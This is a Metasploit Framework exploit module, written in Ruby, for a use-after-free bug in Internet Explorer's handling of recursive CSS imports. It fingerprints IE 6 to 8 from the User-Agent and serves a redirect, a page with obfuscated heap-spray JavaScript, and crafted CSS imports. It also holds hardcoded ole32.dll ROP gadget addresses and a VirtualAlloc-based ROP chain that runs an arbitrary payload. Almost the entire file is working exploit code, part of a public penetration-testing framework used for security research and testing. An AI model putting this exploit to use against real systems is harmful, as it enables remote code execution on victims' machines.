## # $Id: ms11_xxx_ie_css_import.rb 11383 2010-12-20 16:34:07Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking # Need more love for Great include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "7.0", # Should be 6 :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :vuln_test => nil, # no way to test without just trying it }) def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer CSS Recursive Import Use After Free', 'Description' => %q{ Thie module exploits a memory corruption vulnerability within Microsoft\'s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'WooYun', # Initial discovery / report 'd0c_s4vage', # First working public exploit 'jduck' # Metasploit module (ROP, @WTFuzz spray) ], 'Version' => '$Revision: 11383 $', 'References' => [ #[ 'CVE', '2010-????' ], [ 'OSVDB', '69796' ], [ 'BID', '45246' ], #[ 'URL', 'http://www.microsoft.com/technet/security/advisory/XXXXXX.mspx' ], [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Dec/110' ], [ 'URL', 'http://www.breakingpointsystems.com/community/blog/ie-vulnerability/' ] #[ 'MSB', 'MS11-XXX' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], [ 'Internet Explorer 8', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x18, 'DerefOff' => 0x30, 'FlagOff' => 0x54, 'CallDeref1' => 0x20, 'SignedOff' => 0x1c, 'CallDeref2' => 0x24, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Internet Explorer 7', { 'Ret' => 0x105ae020, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], # For now, treat the IE6 target the same as teh debug target. [ 'Internet Explorer 6', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0x14, 'DerefOff' => 0x5c, 'FlagOff' => 0x34, 'CallDeref1' => 0x1c, 'SignedOff' => 0x18, 'CallDeref2' => 0x20, 'CallDeref3' => 0x00, 'CallDeref4' => 0x20, 'Deref4Off' => 0x08 } ], [ 'Debug Target (Crash)', { 'Ret' => 0xc0c0c0c0, 'OnePtrOff' => 0, 'DerefOff' => 4, 'FlagOff' => 8, 'CallDeref1' => 0xc, 'SignedOff' => 0x10, 'CallDeref2' => 0x14, 'CallDeref3' => 0x18, 'CallDeref4' => 0x1c, 'Deref4Off' => 0x20 } ] ], # Full-disclosure post was Dec 8th, original blog Nov 29th 'DisclosureDate' => 'Nov 29 2010', 'DefaultTarget' => 0)) register_options( [ OptBool.new('OldOle32', [ true, 'Whether the target has MS10-083 or not.', false ]) ], self.class) end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] print_status("Checking user agent: #{agent}") if agent =~ /MSIE 6\.0/ mytarget = targets[3] elsif agent =~ /MSIE 7\.0/ mytarget = targets[2] elsif agent =~ /MSIE 8\.0/ mytarget = targets[1] else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) print_status("Received request for %s" % request.uri.inspect) mytarget = target if target.name == 'Automatic' mytarget = auto_target(cli, request) if (not mytarget) send_not_found(cli) return end end buf_addr = mytarget.ret css_name = [buf_addr].pack('V') * (16 / 4) # We stick in a placeholder string to replace after UTF-16 encoding placeholder = "a" * (css_name.length / 2) uni_placeholder = Rex::Text.to_unicode(placeholder) if request.uri == get_resource() or request.uri =~ /\/$/ print_status("Sending #{self.refname} redirect to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") redir = get_resource() redir << '/' if redir[-1,1] != '/' redir << rand_text_alphanumeric(4+rand(4)) redir << '.html' send_redirect(cli, redir) elsif request.uri =~ /\.html?$/ # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) print_status("Sending #{self.refname} HTML to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") # Generate the ROP payload # We need a different set of RVAs without MS10-083. Can we detect this remotely? if datastore['OldOle32'] rvas = rvas_pre() else rvas = rvas_post() end rop_stack = generate_rop(buf_addr, rvas) fix_esp = rva2addr(rvas, 'ret 0x38') ret = rva2addr(rvas, 'ret') pivot = rva2addr(rvas, 'xchg eax, esp / ret') # Append the payload to the rop_stack rop_stack << p.encoded # Build the deref-fest buffer len = 0x84 + rop_stack.length special_sauce = rand_text_alpha(len) # This ptr + off must contain 0x00000001 special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V') # Pointer that is dereferenced to get the flag special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V') # Low byte must not have bit 1 set no_bit1 = rand(0xffffffff) & ~2 special_sauce[mytarget['FlagOff'], 4] = [no_bit1].pack('V') # These are deref'd to figure out what to call special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V') special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V') # Finally, this one becomes eip special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot].pack('V') # This byte must be signed (shorter path to flow control) signed_byte = rand(0xff) | 0x80 special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C') # These offsets become a fix_esp ret chain .. special_sauce[0x08, 4] = [fix_esp].pack('V') # our stack pivot ret's to this (fix_esp, from eax) special_sauce[0x0c, 4] = [fix_esp].pack('V') # part two of fixing esp (two esp+=0x3c) special_sauce[0x48, 4] = [ret].pack('V') # ropnop, continue as ESP is where we want it now. # Add in the rest of the ROP stack special_sauce[0x84, rop_stack.length] = rop_stack # Format for javascript use special_sauce = Rex::Text.to_unescape(special_sauce) # Construct the javascript custom_js = <<-EOS function prepare() { heap = new heapLib.ie(0x20000); var heapspray = unescape("#{special_sauce}"); while(heapspray.length < 0x1000) heapspray += unescape("%u4444"); var heapblock = heapspray; while(heapblock.length < 0x40000) heapblock += heapblock; finalspray = heapblock.substring(2, 0x40000 - 0x21); for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); } } function start() { prepare(); var vlink = document.createElement("link"); vlink.setAttribute("rel", "Stylesheet"); vlink.setAttribute("type", "text/css"); vlink.setAttribute("href", "#{placeholder}") document.getElementsByTagName("head")[0].appendChild(vlink); } EOS opts = { 'Symbols' => { 'Variables' => %w{ heapspray vlink heapblock heap finalspray counter }, 'Methods' => %w{ prepare } } } custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts) js = heaplib(custom_js) # Construct the final page html = <<-EOS EOS html = "\xff\xfe" + Rex::Text.to_unicode(html) html.gsub!(uni_placeholder, css_name) send_response(cli, html, { 'Content-Type' => 'text/html' }) else css = <<-EOS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); EOS css = "\xff\xfe" + Rex::Text.to_unicode(css) css.gsub!(uni_placeholder, css_name) print_status("Sending #{self.refname} CSS to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") send_response(cli, css, { 'Content-Type' => 'text/css' }) end # Handle the payload handler(cli) end def rvas_post() # ole32.dll version 5.1.2600.6010, post MS10-083 # Just return this hash { 'xchg eax, esp / ret' => 0x7b60e, 'ret 0x38' => 0x607f1, 'ret' => 0x7b60e+1, 'push eax / ret' => 0x1d1e4, 'pop eax / ret' => 0x58cab, 'pop ebx / ret' => 0x1da39, 'pop ecx / ret' => 0x50479, 'mov eax, [eax] / ret' => 0x22a20, 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x360b9, 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd87c2, 'add edi, [ebx] / ret' => 0x2cc26, 'rep movsb / pop edi / pop esi / ret' => 0x372c6, 'call [ebx]' => 0x2ad9 } end def rvas_pre() # ole32.dll version 5.1.2600.5512, pre MS10-083 # Just return this hash { 'xchg eax, esp / ret' => 0x7b5e6, 'ret 0x38' => 0x607c7, 'ret' => 0x7b5e6+1, 'push eax / ret' => 0x1d264, 'pop eax / ret' => 0x1af34, 'pop ebx / ret' => 0x1dae4, 'pop ecx / ret' => 0x4f82a, 'mov eax, [eax] / ret' => 0x22ef3, 'mov [ecx], eax / xor eax, eax / pop esi / ret' => 0x36589, 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4' => 0xd858a, 'add edi, [ebx] / ret' => 0x2d0f6, 'rep movsb / pop edi / pop esi / ret' => 0x37796, 'call [ebx]' => 0x2ad9 } end def generate_rop(buf_addr, rvas) # ROP fun! (XP SP3 English, Dec 15 2010) rvas.merge!({ # Instructions / Name => RVA 'BaseAddress' => 0x774e0000, 'imp_VirtualAlloc' => 0x1448, 'Writable' => 0x12719c }) rop_stack = [ # Allocate an RWX memory segment 'pop eax / ret', 'imp_VirtualAlloc', 'mov eax, [eax] / ret', 'push eax / ret', 'ret', 0, # lpAddress 0x1000, # dwSize 0x3000, # flAllocationType 0x40, # flProt # Copy the original payload 'pop ecx / ret', 'Writable', 'mov [ecx], eax / xor eax, eax / pop esi / ret', :memcpy_src, 'xor edi, edi / adc eax, 0x774e13b4 / pop ebp / ret 4', :unused, 'pop ebx / ret', :unused, 'Writable', 'add edi, [ebx] / ret', 'pop ecx / ret', 0x200, 'rep movsb / pop edi / pop esi / ret', :unused, :unused, # Execute the payload ;) 'call [ebx]' ] rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first elsif e == :memcpy_src # Based on stack length.. buf_addr + 0x84 + (rop_stack.length * 4) else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end